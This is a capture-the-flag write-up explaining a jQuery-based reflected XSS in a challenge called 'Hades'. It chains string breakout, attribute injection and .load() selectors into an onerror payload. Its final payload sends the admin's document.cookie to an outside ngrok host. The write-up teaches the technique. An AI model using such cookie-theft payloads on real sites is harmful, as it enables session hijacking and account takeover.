Hades

jQuery-facilitated XSS

Overview

Don't stop retrying!

This is basically a site that uses jQuery a bunch of AJAX requests to dynamically load the page content. For example, let's load the "news" category at ?cat=news.

Observing the HTML response, the news string is reflected twice in the JavaScript.

<script>
  console.log('cat in url');
  $('#ajax-load').load('/ajax/articles?cat=news');
  $('.search-filter ul li.tag').removeClass('active');
  $('.search-filter ul li[data-id="news"]').addClass('active');
  $('.search-filter ul li.tag').click(function() {
    $('.search-filter ul li.tag').removeClass('active');
    $(this).addClass('active');
    $('#ajax-load').html('<hr/><div class="loading"></div><hr/>');
    $('#ajax-load').load('/ajax/articles-results?cat=' + $(this).data('id'));
  });
</script>

Trying to use a single quote to break out of the string (/?cat=news') doesn't work - a \ is prepended to it.

$('#ajax-load').load('/ajax/articles?cat=news\'');

After doing some testing, I found that the \ character isn't escaped and /?cat=news\\' breaks out of the string.

However, because any () characters are removed and subsequent quotes are still escaped, I couldn't produce valid JavaScript after breaking out of the string.

$('#ajax-load').load('/ajax/articles?cat=test\\'+alert``');
$('.search-filter ul li.tag').removeClass('active');
$('.search-filter ul li[data-id="test\\'+alert``"]').addClass('active');

It seems that we need to find another way to achieve XSS.

Getting XSS

The first line of the JavaScript tells jQuery to fetch /ajax/articles?cat=news and set its contents as the HTML of the #ajax-load element.

$('#ajax-load').load('/ajax/articles?cat=news');

Because we also control the cat parameter in this second request, we can try to find a HTML injection vector in /ajax/articles and inject it into #ajax-load.

The following request

/ajax/articles?cat=asdf"x="

injects an attribute into the <img> element in the response.

<noscript>
    If you can't see anything, you have to enable javascript
    <img src="/images/error.jpg" alt="selected category asdf"x="" />
</noscript>

Looking at jQuery's .load() documentation, we find an interesting feature that allows us to specify a specific portion of the remote document that we want to insert.

This allows us to get rid of the pesky <noscript> tag end only load the <img> element inside.

/?cat=random"onerror="alert`` img

will render

<img src="/images/error.jpg" alt="selected category random"onerror="alert``" />

and give us XSS.

We can use the following payload to steal the admin's cookie and get the flag.

/?cat=random"onerror="window.location=`https://f5e6-49-245-33-142.ngrok.io?${document.cookie}` img 

Last updated